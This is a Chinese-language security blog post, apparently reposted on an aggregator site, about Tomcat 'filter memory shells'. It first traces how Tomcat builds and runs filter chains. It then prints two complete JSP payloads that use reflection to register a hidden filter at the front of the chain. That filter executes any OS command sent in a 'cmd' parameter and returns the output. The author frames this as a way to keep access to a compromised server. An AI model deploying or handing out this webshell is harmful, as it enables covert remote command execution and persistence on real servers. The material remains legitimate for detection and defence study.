[JAVA安全]filter 内存马

news2025/1/15 13:32:20

原理:

Servlet 有自己的过滤器 filter , 可以通过自定义的过滤器,来对用户的请求进行拦截等操作。

 经过filter 之后才会刀Servlet ,如果我们动态创建一个 filter 并且将其放在最前面,我们的filter 就会最先被执行,当我们在filter 中添加恶意代码,就会进行命令执行,这样也就成为了一个内存webshell,所以就需要我们想办法在最前方注册一个恶意的filter 并执行。

提前说一下大致的注册流程,通过request对象获取StandardContext对象,然后设置一下三个变量

  • 存放每个filter 的类位置: org.apache.catalina.core.StandardContext#filterDefs
  • 存放每个filter的url 映射: org.apache.catalina.core.StandardContext#filterMaps
  • 存放每个filter的配置,构建 filterChain 用到的变量 org.apache.catalina.core.StandardContext#filterConfigs
    filter的注册、运行主要涉及以上三个变量。

filter 的注解初始化

跟踪一下filter 的 注解 是如何初始化的,看看把 filter 的相关信息存放到什么位置。

在Servlet 中,写Filter 有两种方式,一种是把filte配置写到 web.xml中,一种就是写注解:

@WebFilter("/*")

写web.xml:

 两种方式皆可,我这里是 直接写禁了 web.xml 了

大致流程图:

运行后成功触发:

 每一次 访问都会经过filter 再到达 servlet。

再来看看我们后面会要用到的几个类:

  • FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息
  • FilterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息
  • FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern
  • FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter
  • WebXml:存放 web.xml 中内容的类
  • ContextConfig:Web应用的上下文配置类
  • StandardContext:Context接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper
  • StandardWrapperValve:一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet

调用栈:

 分析一下    Tomcat 中是如何 将我们自定义的filter 进行设置并调用的:

分析:

可以看到再 StandarWrapperValve#invoke 中 ,通过createFilterChain 方法获得了 一个 ApplicationFilterChain   类型的 filterchain  ,其中包含了 filters 有两个值 ,而第一个值就包含了我们传入的自定义filter :

 

 跟进 createFilterChain()  ,看看他是如何获取我们的自定义的Filter过滤器 获取了request请求,在通过该申请获取了filterChain

再往下看,context获取了一个StandardContext()对象,接着用context获取了filterMaps()主要就是filtername和path

 之后经过循环 逐一将 filterMaps 的值传入 filterConfig,最后通过 addFilter 将其传入 filterChain

 跟进 addFilter()   ,他会将 其值都添加到 filters中:

 之后回到最初的StandardWrapperValve#invoke createFilterChain()  的部分,往下看,   下面调用了 filterChain.doFilter(),看名字应该就是做过滤了。

 跟进这个 doFilter,  最后的else部分调用了:

this.internalDoFilter(request, response);

 跟进这个  internalDoFilter() ,  看到:

ApplicationFilterConfig filterConfig = this.filters[this.pos++];

他将上面的 createFilterChain  中的一系列操作,获取的  filters[pos++] 值传给 filterConfig,接着传入filter,而这个 filter 也就是我们自定义的 filter 了,所以最后执行 filter.doFilter 后,便跳转到我们自定义的 doFilter 方法中 输出了    “执行过滤操作”

 从而调用我们自定义过滤器中的 doFilter 方法,从而触发了相应的代码。

总结:

根据请求的 URL 从 FilterMaps 中找出与之 URL 对应的 Filter 名称

根据 Filter 名称去 FilterConfigs 中寻找对应名称的 FilterConfig

找到对应的 FilterConfig 之后添加到 FilterChain中,并且返回 FilterChain

filterChain 中调用 internalDoFilter 遍历获取 chain 中的 FilterConfig ,然后从 FilterConfig 中获取 Filter,然后调用 Filter 的 doFilter 方法
 

当运行如下: 

 可以发现程序在创建过滤器链的时候,如果我们能够修改filterConfigs,filterDefs,filterMaps这三个变量,将我们恶意构造的FilterName以及对应的urlpattern存放到FilterMaps,就可以组装到filterchain里,当访问符合urlpattern的时候,就能达到利用Filter执行内存注入的操作。

内存马动态注册

根据上面内容的最后我们可以知道利用条件,那就得实现动态注册注入内存马,正常来说内存马是用来维持权限的,那么就需要我们拿到服务器的shell,并i企鹅这台服务器的服务时搭建在 Tomcat 上的时候,我们才能实现内存马注入。

根据上面的结论, 我们的目的是要设置  filterConfigs、filterDefs、filterMaps 三个参数,所以我们要通过一些手段获取到这三个变量。

根据上图的结论来看

ServletContext跟StandardContext的关系

Tomcat中的对应的ServletContext实现是ApplicationContext。在Web应用中获取的ServletContext实际上是ApplicationContextFacade对象,对ApplicationContext进行了封装,而ApplicationContext实例中又包含了StandardContext实例,以此来获取操作Tomcat容器内部的一些信息,例如Servlet的注册等。

如何获取 StandardContext

当我们能直接获取request 的时候  可以直接使用如下方法

将我们的 ServletContext 转为  StandardContext 从而 获取 context

-------当 Web 容器启动的时候会为每个Web 应用都创建一个 ServletContext  对象,代表当前Web应用

    ServletContext servletContext = request.getSession().getServletContext();
    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
        // ApplicationContext 为 ServletContext 的实现类
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
 
    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
        // 这样我们就获取到了 context 
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

经过了一些类型强转,主要的目的就是获得这个context ,然后对其中的filter 对象进行修改,并加入我们自己构造的恶意filter,那么下面就开始调试过程。

构造payload的过程

用jsp 页面进行payload 调试,先把web.xml中的所有filter 注释掉 

在web目录下新建一个filterDemo.jsp页面

内容为:

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
 
<%
    final String name = "FilterAgent";
    ServletContext servletContext = request.getSession().getServletContext();
 
    Field appctx = servletContext.getClass().getDeclaredField("context");
    System.out.println(appctx);
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
 
    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
 
    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);
 
    if (filterConfigs.get(name) == null){
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {
            }
            @Override
            public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
                HttpServletRequest req = (HttpServletRequest) request;
                HttpServletResponse resp = (HttpServletResponse) response;
                if (req.getParameter("cmd") != null) {
                    boolean isLinux = true;
                    String osTyp = System.getProperty("os.name");
                    if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                        isLinux = false;
                    }
                    String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
                    InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                    Scanner s = new Scanner(in).useDelimiter("\\A");
                    String output = s.hasNext() ? s.next() : "";
                    resp.getWriter().write(output);
                    resp.getWriter().flush();
                }
                chain.doFilter(request, response);
                System.out.println("成功注入!");
            }
            @Override
            public void destroy() {
 
            }
        };
 
        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());
        /**
         * 将filterDef添加到filterDefs中
         */
        standardContext.addFilterDef(filterDef);
 
        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());
 
        standardContext.addFilterMapBefore(filterMap);
 
        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
 
        filterConfigs.put(name,filterConfig);
        out.print("Inject Success !");
    }
%>

 用jsp 其实就是java 实现servlet的方式,主要的过程就是利用了反射并且将我们构造的filter 加入刀tomcat中,因为我们原来是直接写入到web.xml中,就是直接更改配置文件,这次是通过代码的方式将我们构造的恶意filter 直接加入到 context中直接执行,就省去了web.xml那步

下面开始调试整体代码:

首先是获取context 的过程:

 ServletContext servletContext = request.getSession().getServletContext();
 
    Field appctx = servletContext.getClass().getDeclaredField("context");
    System.out.println(appctx);
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
 
    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

在第一条语句打断点:

 

在Web应用中获取的ServletContext实际上是ApplicationContextFacade对象,对ApplicationContext进行了封装,而ApplicationContext实例中又包含了StandardContext实例,以此来获取操作Tomcat容器内部的一些信息,例如Servlet的注册等。通过上面的图可以很清晰的看到两者之间的关系。

当我们能直接获取 request 的时候,可以直接将 ServletContext 转为 StandardContext 从而获取 context。其实也是层层递归取出context字段的值。

通过Java反射获取servletContext所属的类(ServletContext实际上是ApplicationContextFacade对象),使用getDeclaredField根据指定名称context获取类的属性(private final org.apache.catalina.core.ApplicationContext),因为是private类型,所以使用setAccessible取消对权限的检查,实现对私有的访问,此时appctx的值:

然后

ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

是获取(ApplicationContext)context的内容,那么现在我们已经得到了(ApplicationContext)context,我们需要获取到(StandardContext)context的值。看变量值我们可以发现stdctx中的值为

private final org.apache.catalina.core.StandardContext org.apache.catalina.core.ApplicationContext.context

其中存在StandardContext,那么说明ApplicationContext实例中包含了StandardContext实例,这几行代码原理同上,然后我们就得到了我们需要的context

 如何修改 filterConfigs,filterDefs,filterMaps

查看StandardContext 的源码,可以看到这几个方法:

addFilterDef 添加一个filterDef 到 context 

 addFilterMapBefore : 添加filterMap 到所有filter 最前面 ,这样就像是web,xml 里 tomcat的是最后一个 。

 还有一个方法:

 ApplicationFilterConfig : 为指定的过滤器构造一个新的 ApplicationFilterConfig。

然后我们继续往下看,构造一个恶意的filter ,就用之前的shell_Filters就可以,然后继续往下

FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef)

上边代码执行完,我们就会 new 一个FilterDef 对象,并将恶意构造的恶意类添加到filterDefs中 

 可以看到 filterDefs 添加成功,接下来开始添加 filterMaps 下面的代码时实例化一个FilterMap对象,并且将filterMap 到所有filter最前面。

//创建filterMap,设置filter和url的映射关系,所有页面都可触发可设置为/*
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");

 
//name = filterDemo
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
 
//添加我们的filterMap到所有filter最前面
standardContext.addFilterMapBefore(filterMap);

看到  已经放到了最前面。

filterConfigs装载

FilterCOnfig 存放了filterCOnfig的数组,在FilterConfig 中主要存放 FilterDef 和FIlter 对象等信息

先获取当前filterConfigs 信息:

Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);

 可以看到只有Tomcat 默认的Filter ,下面通过 反射获取构造器 对象 并调用其 newInstance 方法创建FilterConfig

Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); 
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);

这里是先调用ApplicationFilterConfig.class.getDeclaredConstructor方法,根据context.class 与 filterDef.class 两种参数类型寻找对应的构造方法,获取一个Constructor 类对象。

然后通过newInstance(standardContext, filterDef) 来创建一个实例

然后将恶意的filter名和配置好的filterConfig传入

filterConfigs.put(name,filterConfig);

再次运行可以发现filterMaps中出现了FilterMap中出现了我们构造的filter即FilterAgent

 完整代码:

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
 
 
<%
    final String name = "shell";
    // 获取上下文,即standardContext
    ServletContext servletContext = request.getSession().getServletContext();
 
    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
 
    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
    //获取上下文中 filterConfigs
    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);
    //创建恶意filter
    if (filterConfigs.get(name) == null){
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {
 
            }
 
            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                if (req.getParameter("cmd") != null) {
                    boolean isLinux = true;
                    String osTyp = System.getProperty("os.name");
                    if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                        isLinux = false;
                    }
                    String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")};
                    InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                    Scanner s = new Scanner( in ).useDelimiter("\\a");
                    String output = s.hasNext() ? s.next() : "";
                    servletResponse.getWriter().write(output);
                    servletResponse.getWriter().flush();
                    return;
                }
                filterChain.doFilter(servletRequest, servletResponse);
            }
 
            @Override
            public void destroy() {
 
            }
 
        };
        //创建对应的FilterDef
        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());
        /**
         * 将filterDef添加到filterDefs中
         */
        standardContext.addFilterDef(filterDef);
        //创建对应的FilterMap,并将其放在最前
        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());
 
        standardContext.addFilterMapBefore(filterMap);
        //调用反射方法,去创建filterConfig实例
        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
        //将filterConfig存入filterConfigs,等待filterchain.dofilter的调用
        filterConfigs.put(name, filterConfig);
        out.print("Inject Success !");
    }
%>
<html>
<head>
    <title>Title</title>
</head>
<body>
 
</body>
</html>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/156182.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Java多线程案例——线程池及ThreadPoolExecutor类

一&#xff0c;线程池1.为什么会有线程池&#xff1f;线程池和多线程的区别&#xff1f;为了很好的解决高并发问题&#xff0c;提高计算机的运行效率&#xff0c;提出了多线程来取代多进程&#xff08;因为一个线程的创创建、销毁和调度比进程更加“轻量”&#xff0c;所以线程…

杰卡德相似度(Jaccard)详解及在UserCF中的应用

1、杰卡德相似度(Jaccard) 这个是衡量两个集合的相似度一种指标。 两个集合A和B的交集元素在A&#xff0c;B的并集中所占的比例&#xff0c;称为两个集合的杰卡德相似系数&#xff0c;用符号J(A,B)表示 另一种表示的方法&#xff1a; jaccard系数衡量维度相似性 jaccard系数很…

IT运维.服务器常见资质认证

3C证书 强制要求 CCC认证的全称为“中国强制性产品认证“ 它是为保护消费者人身安全和国家安全、加强产品质量管理、依照法律法规实施的一-种产品合格评定制度。, 节能

spring之动态代理

文章目录前言一、JDK动态代理1、业务接口OrderService2、目标对象OrderServiceImpl3、客户端程序Client4、InvocationHandler 的实现类TimeInvocationHandler5、运行结果二、CGLIB动态代理1、先引入依赖2、目标类 UserService3、客户端程序Client4、MethodInterceptor的实现类T…

温振传感器的信号输出方式及应用领域

在振动测量系统中&#xff0c;测量振动的仪器排在前端。温振传感器也称为温度振动传感器&#xff08;变送器&#xff09;&#xff0c;它可以将被测对象的振动量&#xff08;位移、速度&#xff09;准确接受后&#xff0c;并将此机械量转换为电信号显示出来。 在工业生产、食品…

内存对齐(memory align)

0. 内存结构 我们平时所称的内存也叫随机访问存储器&#xff08;random-access memory&#xff09;也叫RAM。而RAM分为两类&#xff1a; 一类是静态RAM&#xff08;SRAM&#xff09;&#xff0c;这类SRAM用于前边介绍的CPU高速缓存L1Cache&#xff0c;L2Cache&#xff0c;L3C…

不求星光灿烂,但愿岁月静好

作者&#xff1a;非妃是公主 专栏&#xff1a;《程序人生》 个性签&#xff1a;顺境不惰&#xff0c;逆境不馁&#xff0c;以心制境&#xff0c;万事可成。——曾国藩 文章目录不求星光灿烂&#xff0c;但愿岁月静好说一说这一年的自己的收获吧2022年的追求自我学会拒绝尝试表达…

Unreal单播委托

单播委托只能注册一个函数:无参无返回值给委托绑定函数:判断如果委托有绑定函数就发起广播:解绑:绑定方式除了BindUObject,还有BindUFunction,通过这种方式绑定需要给函数添加UFUNCTION标记:还有BindLambda匿名函数:BindRaw可以绑定原生C类中的函数:无参有返回值定义委托类型:声…

Linux进程状态与系统负载检测

1.基础知识-进程的5个状态进程可以分为五个状态&#xff0c;分别是&#xff1a;1&#xff09;创建状态一个应用程序从系统上启动&#xff0c;首先就是进入创建状态&#xff0c;需要获取系统资源创建进程管理块&#xff08;PCB&#xff09;完成资源分配。2) 就绪状态在创建状态完…

Dextran-Azide,Dextran-N3结构式;叠氮修饰的葡聚糖 科研用试剂说明

Dextran-N3,叠氮基团葡聚糖 英文名称&#xff1a;Dextran-Azide,Dextran-N3 中文名&#xff1a;叠氮修饰的葡聚糖 存储条件&#xff1a;-20C&#xff0c;避光&#xff0c;避湿 外观: 固体或类白色絮状&#xff0c;取决于分子量 溶剂&#xff1a;溶于大部分有机溶剂&…

kafka单节点部署,手把手从零到一

kafka单节点部署 书接上回&#xff1a;zookeeper单节点部署&#xff0c;手把手从零到一 建议配套观看 2、kafka的单节点部署 2.1、下载 这里如果和zookeeper相似的就不再赘述&#xff0c;直接上命令 wget https://archive.apache.org/dist/kafka/2.8.2/kafka_2.12-2.8.2.tgz…

深入了解ArrayBlockingQueue 阻塞队列

1. 前言 开始正式了解阻塞队列之前&#xff0c;我们需要了解什么是队列。 队列有什么作用。其实队列的作用就是解耦&#xff0c;更加确切的说应该是生产者以及消费者 之间的解耦 今天就让我们来看下ArrayBlockingQueue 的实现。虽然通过名称就可以看到&#xff0c;无非是通过数…

Theory for the information-based decomposition of stock price

文章目录MotivationThe potential of Brogaard DecompositionIntuitions for Brogaard decompositionTechnique details in Brogaard decompositionDefine the VAR systemIdentify the VAR systemVariance decompositionSummaryMain ReferencesMotivation Brogaard et al. (20…

1000字带您了解网络设备的接口分类和接口编号规则

通过本文&#xff0c;您可以了解到设备的接口分类和接口编号规则。 文章目录一、接口分类1.1 物理接口1.1.1 管理接口1.1.1 业务接口LAN侧接口WAN侧接口1.2 逻辑接口二、接口编号规则2.1 物理接口编号规则三、总结一、接口分类 接口是设备与网络中的其它设备交换数据并相互作用…

3.3 行列式的几何意义

文章目录二维面积三维体积多维体积行列式是线性代数一个非常重要的内容&#xff0c;也是非常难的领域.行列式在欧几里得空间里还有特殊的几何意义。二维面积 &esmp; 两个向量围成的平行四边形的面积就是这两个向量组成的矩阵的行列式的绝对值。以两个向量(3.−2)T(3.-2)^…

结构体 · 内存对齐

欢迎来到 Claffic 的博客 &#x1f49e;&#x1f49e;&#x1f49e; 前言&#xff1a; 在初识C语言中简单介绍了结构体&#xff0c;结构体可以理解为不同类型数据的集合体&#xff0c;但是你想过结构体的大小是如何计算的吗&#xff1f;看完这篇博客&#xff0c;你就能给自己答…

Linux 计算机网络 route 路由表、多网段与 bond 的故事

Linux 计算机网络 route 路由表、多网段与 bond 的故事 序 在之前的章节中&#xff0c;介绍了计算机网络的发展以及各种解析&#xff0c;在之中我们提到了每个主机设备都会维护一张自己的路由表&#xff0c;通过路由表来确定在不同网络之间&#xff0c;怎么将数据规划传输到各…

1988-2020年31省基尼系数数据

1、时间&#xff1a;1988-2020年 2、范围&#xff1a;31省 3、指标&#xff1a;包括省基尼系数年度数据&#xff0c;省城市和农村基尼系数年度 4、来源及计算方法说明附在文件内 5、指标说明&#xff1a; 基尼系数&#xff08;英文&#xff1a;Gini index、Gini Coefficie…

LeetCode 94. 二叉树的中序遍历

&#x1f308;&#x1f308;&#x1f604;&#x1f604; 欢迎来到茶色岛独家岛屿&#xff0c;本期将为大家揭晓LeetCode 94. 二叉树的中序遍历&#xff0c;做好准备了么&#xff0c;那么开始吧。 &#x1f332;&#x1f332;&#x1f434;&#x1f434; 一、题目名称 LeetC…

Mybatis获取参数

Mybatis获取参数 配置模板 mybatis获取参数值的两种方式 1、&{}&#xff1a; 字符串拼接 2、#{}&#xff1a; 占位符赋值 MyBatis获取参数值的各种情况&#xff1a; MyBatis获取参数值的各种情况&#xff1a; 1、mapper接口方法的参数为单个的字面量类型 可以通过&#xf…